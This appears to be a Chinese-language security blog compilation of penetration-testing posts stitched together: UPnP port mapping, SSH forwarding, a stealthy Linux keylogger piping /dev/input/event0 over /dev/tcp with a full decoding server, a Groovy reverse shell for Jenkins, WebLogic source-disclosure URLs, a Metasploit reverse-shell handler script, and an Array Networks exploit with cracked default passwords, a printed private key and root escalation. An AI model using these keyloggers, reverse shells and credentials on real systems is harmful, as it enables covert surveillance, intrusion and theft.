1 概述

在典型的IPv4网络下，由于NAT技术的广泛使用，端口映射是一种刚需。（下文所涉及“端口转发”、“端口映射”均指同一种技术。）

经典的端口映射方法例如iptables端口转发、SSH端口转发、webshell流量转发(regeorg)、socks代理等技术，是比较常见的用于建立内网通道的技术。本文分享一种利用内网网关设备开放的upnp协议进行端口映射的方法。

关于upnp协议的解释，参考百度百科-UPNP
upnp协议的使用场景很多，端口转发是upnp其中一个功能，但是想要使用该功能，需要网关设备的支持。

2 场景

使用upnp进行端口转发的场景，以下图网络拓扑为例：

内网服务器Server：内网地址192.168.1.2，开放端口1234
网关设备Gateway：内网地址192.168.1.1，公网地址x.x.x.x

常规情况下，如果需要通过公网地址x.x.x.x访问192.168.1.2中的开放端口1234，则可以在Gateway中配置端口转发，但此时至少要有192.168.1.1的(部分)权限。

如果Gateway具备unpn功能，并且启用了unpn服务，则可以在Gateway外部通过upnp指令，打开Gateway上的转发通道，从而完成端口转发。

Gateway开启upnp示例（一般位于路由等设备的配置界面中）：

3.利用

metasploit

Metasplioit中有upnp相关的插件，但是不太好用，姿势问题？
插件是：

• auxiliary/scanner/upnp/ssdp_msearch
• auxiliary/admin/upnp/soap_portmapping

可以自行探索之

miranda-upnp

miranda-upnp是之前在Github上找到的一个工具，基于python2编写，可以用于内网upnp端口转发通道的建立。

miranda-upnp(github)

upnp协议

也可以根据upnp协议自行实现相关工具，协议使用可以参考这篇文章

4. 演示

以第2节中的拓扑为例，在内网IP为192.168.1.2的Server中运行miranda-upnp，打开转发通道，在Gateway的x.x.x.x:1234与Server 192.168.1.2:1234之间建立映射。

运行miranda-upnp后，首先执行msearch：

1
2
3
4
5
6
7
8
9
10
11
12

upnp> msearch

Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

****************************************************************
SSDP reply message from 192.168.1.1:49652
XML file is located at http://192.168.1.1:49652/49652gatedesc.xml
Device is running Linux/3.10.53-HULK2, UPnP/1.0, Portable SDK for UPnP devices/1.6.25
****************************************************************

^C
Discover mode halted...

此时已经获得Gateway中的SSDP描述文件，Ctrl-C停止SSDP搜寻。

执行host list，列出扫描到的主机，并执行host get 0选中主机0(Gateway)：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

upnp> host list

        [0] 192.168.1.1:49652

upnp> host get 0

Requesting device and service info for 192.168.1.1:49652 (this could take a few seconds)...

Host data enumeration complete!

upnp> host info 0 deviceList

InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}

执行deviceList和services命令分别查看设备列表和设备中的服务：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

upnp> host info 0 deviceList InternetGatewayDevice services

Layer3Forwarding : {}

upnp> host info 0 deviceList WANDevice services

WANCommonInterfaceConfig : {}

upnp> host info 0 deviceList WANConnectionDevice services

WANIPConnection : {}

upnp> host info 0 deviceList WANConnectionDevice services

WANIPConnection : {}

upnp>

常规的端口转发功能我们要使用的是WANConnectionDevice设备的WANIPConnection服务，执行actions查看其动作，这里可以看到存在一个名为AddPortMapping的action，我们只要调用这个action，并填写相应参数，即可完成端口转发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection actions

AddPortMapping : {}
GetNATRSIPStatus : {}
GetGenericPortMappingEntry : {}
GetSpecificPortMappingEntry : {}
ForceTermination : {}
GetExternalIPAddress : {}
GetConnectionTypeInfo : {}
GetStatusInfo : {}
SetConnectionType : {}
DeletePortMapping : {}
RequestConnection : {}

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
        Argument Name:  NewPortMappingDescription
        Data Type:      string
        Allowed Values: []
        Set NewPortMappingDescription value to: XXXXX

Required argument:
        Argument Name:  NewLeaseDuration
        Data Type:      ui4
        Allowed Values: []
        Set NewLeaseDuration value to: 36000

Required argument:
        Argument Name:  NewInternalClient
        Data Type:      string
        Allowed Values: []
        Set NewInternalClient value to: 192.168.1.2

Required argument:
        Argument Name:  NewEnabled
        Data Type:      boolean
        Allowed Values: []
        Set NewEnabled value to: 1

Required argument:
        Argument Name:  NewExternalPort
        Data Type:      ui2
        Allowed Values: []
        Set NewExternalPort value to: 1234

Required argument:
        Argument Name:  NewRemoteHost
        Data Type:      string
        Allowed Values: []
        Set NewRemoteHost value to: 0.0.0.0

Required argument:
        Argument Name:  NewProtocol
        Data Type:      string
        Allowed Values: ['TCP', 'UDP']
        Set NewProtocol value to: TCP

Required argument:
        Argument Name:  NewInternalPort
        Data Type:      ui2
        Allowed Values: []
        Set NewInternalPort value to: 1234

可以看到此时Gateway中已经激活了相应的转发通道：

SSH远程转发存在常见的三种使用方法，分别是-D/-L/-R。

-D

-D是动态转发，用例为

ssh root@REMOTE_HOST -D 8080

启用时会在SSH Client侧监听一个本地端口8080，在浏览器中配置该端口作为代理，SSH Client会将浏览器中的流量转发到SSH Server侧进行发出。

-L

-L俗称本地转发，用例为

ssh root@REMOTE_HOST -L FromPort:DestHost:DestPort

启用时，SSH Client侧会在本地监听FromPort端口，同时将流量转发到DestHost的DestPort端口。
此时的DestHost是相对于SSH Server侧REMOTE_HOST这台远程主机而言的目的主机。

-R

-R称之为远程转发，用例为

ssh root@REMOTE_HOST -R FromPort:DestHost:DestPort

启用时，SSH Server侧会监听FromPort端口，并将该端口的流量转发到SSH Client这边的DestHost主机的DestPort端口，实现从远程到本地的转发。此时的DestHost是相对于SSH Client侧的本地主机而言的目的主机。

1

cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

中午水群的时候，看到群友提的需求，要实现在Linux下的键盘记录，要求是没有进程、不易察觉等等。在思考Linux下怎样实现无痕迹的键盘记录的时候，脑洞一开突然想到在Linux中，所有的设备都是以文件的形式挂在/dev目录下的，键盘也不例外。与用户输入有关的设备/dev/input/eventX通常是一种字符设备，是以流的形式实时地连续读取的。再联想到反弹shell的时候，有一种姿势是通过将bash重定向到/dev/tcp中的设备，来实现反弹shell的。那么同理，是不是可以将/dev/input/下的输入设备字节流实时发送到远程进行监听呢？

想到就去做，于是先在本地监听一个端口，再通过重定向输入将/dev/input/event0设备的字节流发送到本地的监听端口，可以看见，能够成功将输入重定向到目标端口，说明此路可通。

只是这个时候，在我们的监听窗口中接收到的来自键盘设备的输入都是乱码，因为event0设备的输出是内核定义的特定结构体，并不是直接的可见字符，于是，我们还需要实现一个解析命令的服务端控制台来实现对输入的解析。

关于输入设备传入的结构体，想要了解Linux操作系统如何解码它，我们需要知道Linux输入事件input_event结构体是如何定义的。这里通过查阅资料了解到，键盘事件结构体的定义在python中的解包格式是’llHHI’，分别表示时间戳、设备类型、事件类型、事件值等。（结构体详情可以参考/usr/include/linux/input.h）。

因此目标就明确了，写个脚本在服务端远程解码即可。实现的效果：

在服务端运行脚本，目标靶机中输入命令：

cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

服务端看到的情况：

思考

这种方法实现的键盘记录，优点是不需要在目标服务器中上传二进制木马，只需要一条命令就可以执行。但是缺点是低权限用户一般无法读取/dev/目录下字符设备的输入，导致攻击利用有一定的局限性。同时执行ps命令会看到cat进程读取输入设备的进程，也可以在netstat中看到有网络连接等，容易被管理员发现，所以一般只能用于渗透测试过程中临时测试使用，或是一些比较特殊的场景下使用。

附赠服务端脚本：

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Chorder @ 20190724

import sys 
import time
import socket
import struct
 
if len(sys.argv) < 3:
    print("Usage:\n\tpython %s IP PORT" % __file__ )
    exit(0)
else:
    host = sys.argv[1]
    port = int(sys.argv[2])
    print("[*] 在目标主机运行以下命令:\n前台运行:\tcat /dev/input/event0 > /dev/tcp/%s/%d >&1" % (host,port) )
    print("后台运行:\tnohup cat /dev/input/event0 > /dev/tcp/%s/%d >&1 &" % (host,port) )
    print("[*] 开始监听...")

s = socket.socket()
s.bind((host, port))
s.listen(5)

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

KEYBOARD_MAP={
    0 :"ESC",
    1 :"ESC",
    2 :"1",
    3 :"2",
    4 :"3",
    5 :"4",
    6 :"5",
    7 :"6",
    8 :"7",
    9 :"8",
    10 :"9",
    11 :"0",
    12 :"-",
    13 :"=",
    14 :"BACK",
    15 :"TAB",
    16 :"Q",
    17 :"W",
    18 :"E",
    19 :"R",
    20 :"T",
    21 :"Y",
    22 :"U",
    23 :"I",
    24 :"O",
    25 :"P",
    26 :"LBRACKET",
    27 :"RBRACKET",
    28 :"RETURN",
    29 :"LCONTROL",
    30 :"A",
    31 :"S",
    32 :"D",
    33 :"F",
    34 :"G",
    35 :"H",
    36 :"J",
    37 :"K",
    38 :"L",
    39 :"SEMICOLON",
    40 :"APOSTROPHE",
    41 :"`",
    42 :"LSHIFT",
    43 :"\\",
    44 :"Z",
    45 :"X",
    46 :"C",
    47 :"V",
    48 :"B",
    49 :"N",
    50 :"M",
    51 :",",
    52 :".",
    53 :"/",
    54 :"RSHIFT",
    55 :"MULTIPLY",
    56 :"Alt",
    57 :"SPACE",
    58 :"CAPITAL",
    59 :"F1",
    60 :"F2",
    61 :"F3",
    62 :"F4",
    63 :"F5",
    64 :"F6",
    65 :"F7",
    66 :"F8",
    67 :"F9",
    68 :"F10",
    69 :"NUMLOCK",
    70 :"SCROLL",
    71 :"NUMPAD7",
    72 :"NUMPAD8",
    73 :"NUMPAD9",
    74 :"SUBTRACT",
    75 :"NUMPAD4",
    76 :"NUMPAD5",
    77 :"NUMPAD6",
    78 :"ADD",
    79 :"NUMPAD1",
    80 :"NUMPAD2",
    81 :"NUMPAD3",
    82 :"NUMPAD0",
    83 :"DECIMAL",
    87 :"F11",
    88 :"F12",
    100 :"F13",
    101 :"F14",
    102 :"F15",
    112 :"KANA",
    121 :"CONVERT",
    123 :"NOCONVERT",
    125 :"¥",
    141 :"NUMPADEQUALS",
    144 :"^",
    145 :"@",
    146 :":",
    147 :"_",
    148 :"KANJI",
    149 :"STOP",
    150 :"AX",
    151 :"UNLABLED",
    156 :"NUMPADENTER",
    157 :"RCONTROL",
    179 :"NUMPADCOMMA",
    181 :"DIVIDE",
    183 :"SYSRQ",
    184 :"ALT",
    197 :"PAUSE",
    199 :"HOME",
    200 :"UP",
    201 :"PRIOR",
    203 :"LEFT",
    205 :"RIGHT",
    207 :"END",
    208 :"DOWN",
    209 :"NEXT",
    210 :"INSERT",
    211 :"DELETE",
    219 :"LMETA",
    220 :"RMETA",
    221 :"APPS",
    222 :"POWER",
    223 :"SLEEP"
}

class KeyboardEvent():
    def __init__(self,event_data):
        (evt_sec, evt_usec, evt_type, evt_code, evt_value) = struct.unpack(FORMAT, event_data)
        evt_time = time.localtime( float("%d.%d" % (evt_sec, evt_usec ) ) )
        if evt_type == 1 and evt_value == 1:
            try:
                print("%s: %s" % ( time.strftime("%Y-%m-%d %H:%M:%S",evt_time), KEYBOARD_MAP[evt_code]))
            except KeyError as e:
                print("%s: 未知字符 %s" % (time.strftime("%Y-%m-%d %H:%M:%S",evt_time), evt_code) )
        else:
            pass




while True:
    client_handle,client = s.accept() 
    print "新客户端上线： %s:%s" % ( client[0],client[1] )
    while True:
        kbevt = KeyboardEvent( client_handle.recv(EVENT_SIZE) )

    c.close()

Apache Felix是一个OSGi版本4规范的Apache实现。OSGi是一个基于Java的服务平台规范，其目标是被需要长时间运行、动态更新、对运行环境破坏最小化的系统所使用。
渗透测试过程中也许会遇到Apache Felix，这时可以尝试访问Felix的/system/console/sc路径，并且试试看有没有弱密码。如果能够成功进入Apache Felix Web Console，就可以通过执行Groovy代码，间接执行系统命令，甚至获得系统权限。

例如Groovy用于执行系统命令的代码：

1
2
3
4
5
6
7
8

def execute(cmd){
    def proc = cmd.execute();
    proc.waitFor();
    println proc.text;
}

execute("ipconfig");

获取一些系统信息：

1
2

println System.getProperty("user.dir"); //print local path
println InetAddress.getLocalHost();     //print local ip

Groovy反弹Shell的代码，可以参考：

https://chorder.net/2019/05/29/Groovy%E5%8F%8D%E5%BC%B9Shell%E8%84%9A%E6%9C%AC-Groovy-Reverse-Shell-Script/

rkhunter是一个Linux下自动检测rookit的脚本，使用时需要依赖数据库。在执行rkhunter --update进行更新操作时，也许会报以下错误：

1

Invalid WEB_CMD configuration option: Relative pathname: "/bin/false"

修复这个错误的方法很简单，编辑/etc/rkhunter.conf文件，找到其中的以下选项：

• UPDATE_MIRRORS=0
• MIRRORS_MODE=1
• WEB_CMD=”/bin/false”

分别将UPDATE_MIRRORS=0改为UPDATE_MIRRORS=1，将MIRRORS_MODE=1改为MIRRORS_MODE=0，以及将WEB_CMD="/bin/false"改为WEB_CMD=""即可。

再次运行rkhunter --update，错误消失。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

root@debian:~#rkhunter --update
[ Rootkit Hunter version 1.4.2 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ No update ]
  Checking file programs_bad.dat                             [ Updated ]
  Checking file backdoorports.dat                            [ No update ]
  Checking file suspscan.dat                                 [ No update ]
  Checking file i18n/cn                                      [ Skipped ]
  Checking file i18n/de                                      [ Skipped ]
  Checking file i18n/en                                      [ No update ]
  Checking file i18n/tr                                      [ Skipped ]
  Checking file i18n/tr.utf8                                 [ Skipped ]
  Checking file i18n/zh                                      [ Skipped ]
  Checking file i18n/zh.utf8                                 [ Skipped ]

分享一条使用纯Groovy反弹shell的脚本，摘抄自Github。

出处：

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

String host="1.1.1.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

可以用在Jenkins的命令执行中，用于反弹Shell。

今天为某金融公司做测试，在系统中发现了一枚很老的漏洞 CVE-2000-0683 ，Nessus里面给出的漏洞评级是中危，但是经过测试，发现是一个危害很高的漏洞。

在以前的测试过程中还没有遇到过这个洞，也许是我孤陋寡闻了，但也许有很多人和我一样不知道的，所以在这里简单分享一下。

相关介绍

Tenable Nessus关于该漏洞的描述：

https://www.tenable.com/plugins/nessus/11604

这个漏洞利用起来很简单，只需要在URL中加入/*.shtml/就可以列目录或者读源码，例如：假设漏洞位于http://victim.com/，那么如果想要列目录，只需要请求：

http://victim.com/*.shtml/
http://victim.com/*.shtml/admin/
http://victim.com/*.shtml/config/

即可列出相应目录下的文件。

如果需要读取源代码，只需要请求

http://victim.com/*.shtml/index.jsp
http://victim.com/*.shtml/admin/login.jsp
http://victim.com/*.shtml/config/config.jsp

即可读取相应的源代码。

实战利用

以下是我的测试过程。

列目录：

读源码：

漏洞修复

内容来自相关供应商(BEA security advisory BEA00-03.00)：

(1) Apply the “Show Code” vulnerability patch available from BEA Technical Support. This patch is available for:
Version:

• The J-Engine in BEA WebLogic Enterprise 5.1.x
• BEA WebLogic Server and Express 5.1.x
• BEA WebLogic Server and Express 4.5.x

Action: Contact BEA Technical Support at support () bea com for patch.

(2) Once the patch has been applied, review the weblogic.propertiesfile and ensure that the following changes have been made:

weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file

should be changed to:

weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html

Future Service Packs for BEA WebLogic Server and Express will also contain the patch to address this vulnerability.

本漏洞分享仅供学习交流，请勿用于从事非法活动。

Metasploit Resource脚本是MSF框架提供的非常方便的用于组织自动化任务的工具。简单来说，resource脚本目前可以支持两种类型的指令组合，分别是MSF命令和嵌入式Ruby代码。
以下分别就两种使用方法进行演示。

这里以 multi/handler 这个用于反弹shell监听器的模块来演示。

使用makerc命令制作metasploit命令行resource脚本

执行msfconsole启动MSF控制台以后，执行如下操作：

1
2
3
4
5
6
7
8
9
10

msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > makerc /root/test.rc
[*] Saving last 4 commands to /root/test.rc ...
msf5 exploit(multi/handler) >

将会在/root/目录下生成test.rc文件，其中记录着刚刚输入的所有命令。下次需要执行同样操作的时候，只需要运行msfconsole -r /root/test.rc即可载入和执行这次的命令记录。

使用run_single函数编写基于嵌入式Ruby的resource脚本

除了直接编写指令代码以外，Resource脚本还可以支持嵌入式Ruby脚本，只需要在.rc文件中使用<ruby></ruby>标签引入Ruby代码即可。

这里将上面用于启动handler模块的脚本稍微改良一下，变成一个易于使用的rc文件，代码如下：

handle.rc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

<ruby>

def init_args

    args = {}

    if ARGV.join('') =~ /^help$/i

        args[:help] = true

        return args

    end

    args[:payload]      = ARGV.shift
    args[:host]         = ARGV.shift
    args[:port]         = ARGV.shift

    return args

end


# resource process entry

begin

    args = init_args

    if args[:help]

        print_line("Usage:\nmsfconsole handler.rc PAYLOAD HOST PORT")

        return

    end

    #run_single("workspace handler")
    run_single("use multi/handler")
    run_single("set payload #{args[:payload]}")
    run_single("set lhost #{args[:host]}")
    run_single("set lport #{args[:port]}")

rescue ArgumentError => e

    print_error("Invalid argument: #{e.message}")

    return

rescue RuntimeError => e

    print_error(e.message)

    return

rescue ::Exception => e

    raise e

end

</ruby>

将上面的代码保存为handle.rc，启动MSF控制台时，执行：

1

msfconsole -r handler.rc windows/meterpreter/reverse_tcp 0.0.0.0 4444

即可快速地配置好配备相应payload的handler监听器。

其中Ruby代码中的run_single就是用于执行MSF框架指令的方法。

MSF自带了很多方便实用的脚本，位于MSF框架目录/scripts/resource/目录下，可以参考这些脚本的写法，写出更加方便的脚本。

参考链接：

https://metasploit.help.rapid7.com/docs/resource-scripts

这是一个比较老的漏洞了，但是到目前为止仍然有不少厂商在使用这个版本的设备。在渗透中也曾经遇到过。
参考自：https://www.exploit-db.com/exploits/32369/

受影响的产品有: Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances

默认用户和密码

vxAG 9.2.0.34 和 vAPV 8.3.2.17 的/etc/master.passwd 文件中包含了默认用户和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

$ cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$9QkJT4Y5$lF2BPaSI2kPlcrqz89yZv0:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default
User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
test:$1$UtEw8DNY$te4MRasnXgETxWOZ9Z1o10:1002:1002::0:0:test:/export/test:/bin/tcsh
sync:$1$bmfGRJPh$lWnesbn8M8xZNo3uaqfEd1:1005:0::0:0:sync:/export/sync:/bin/sh
recovery::65533:0::0:0:Recovery User:/:/ca/bin/recovery
mfg:$1$i8SV4bKc$lNMeb8Yow.p.cZvWxt1mO1:1013:1010::0:0:mfg:/export/mfg:/bin/tcsh
arraydb:*:1015:0::0:0:User &:/home/arraydb:/bin/sh
array::1016:1011::0:0:User &:/:/ca/bin/ca_shell

破解之后可以得到下列用户和密码:

1
2

用户: mfg 密码: mfg
用户: sync 密码: click1

test和root用户没破解出来。

其中sync用户默认可以远程登录:

1
2
3
4

$ssh sync@192.168.2.55 /bin/sh
sync@192.168.2.55's password:
$id
uid=1005(sync) gid=0(wheel) groups=0(wheel)

SSH 私钥

sync 用户使用了位于 “~/.ssh/id_dsa” 的登录私钥:

1
2
3
4
5
6
7
8
9
10
11
12
13

$ cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----

下列文件位于 ~/.ssh 目录:

1
2
3
4
5
6
7
8
9

$ cat authorized_keys
1024 35
117781646131320088945310945996213112717535690524599971400605193647439008360689916421327587459429042579662784434303538942896683338584760112042194838342054595473085094045804963620754645364924583113650482968246287214031112796524662479539236259838315876244144983122361617319660444993650437402628793785173700484401
sync@AN

$ cat authorized_keys2
ssh-dss
AAAAB3NzaC1kc3MAAACBAJTDsX+8olPZeyr58g9XE0L8PKT5030NZBPlE7np4hBqx36HoWarWq1Csn8M57dWN9StKbs03k2ggY6sYJK5AW2EWar70um3pYjKQHiZq7mITmitsozFN/K7wu2e2iKRgquUwH5SuYoOJ29n7uhaILXiKZP4/H/dDudqPRSY6tJPAAAAFQDtuWH90mDbU2L/Ms2lfl/cja/wHwAAAIAMBwSHZt2ysOHCFe1WLUvdwVDHUqk3QHTskuuAnMlwMtSvCaUxSatdHahsMZ9VCHjoQUx6j+TcgRLDbMlRLnwUlb6wpniehLBFk+qakGcREqks5NxYzFTJXwROzP72jPvVgQyOZHWq81gCild/ljL7hmrduCqYwxDIz4o7U92UKQAAAIBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBg==
sync@AN

如此一来就可以使用这个私钥进入系统:

将下面的id_dsa私钥保存在”synckey”文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

cat > ~/synckey << EOF
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
+sqSEhA35Le2kC4Y1/A=
-----END DSA PRIVATE KEY-----
EOF

修改synckey文件的权限:

1

chmod 600 ~/synckey

使用该私钥登录系统:

1

ssh -i ~/synckey sync@x.x.x.x /bin/sh

提权

/ca/bin/monitor.sh和 /ca/bin/debug_syn_stat默认是全局可写的 (权限为777).
在monitor.sh文件中写入脚本，通过debug monitor选项重新启动该脚本会以root权限运行。
使用sync用户运行/ca/bin/backend工具，使用如下方式重启debug monitor:
关闭debug monitor:

1

/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`

开启debug monitor:

1

/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`

在/ca/bin/monitor.sh中写入反弹shell的指令，通过上述操作，即可反弹回一个root shell.

使用GDB对GCC编译出的ELF文件进行调试。
首先在编译的时候，需要加上-g参数：
gcc -g -o test test.c -Wall
这样才能在编译的时候产生符号表，GDB才可以载入。
编译好程序以后，使用gdb test载入程序
添加断点：b 行号
运行：r
单步执行（next）：n
跟踪步入（step）：s
恢复执行（continue）：c
打印变量值（print）：p 变量名
查看断点信息：info b
列出源代码（list）l
退出：q

汇编相关：
查看汇编格式：show disassembly-flavor
将汇编格式转换成intel：set disassembly-flavor intel
将汇编格式转换成at&t：set disassembly-flavor att
显示汇编代码：disassemble 函数名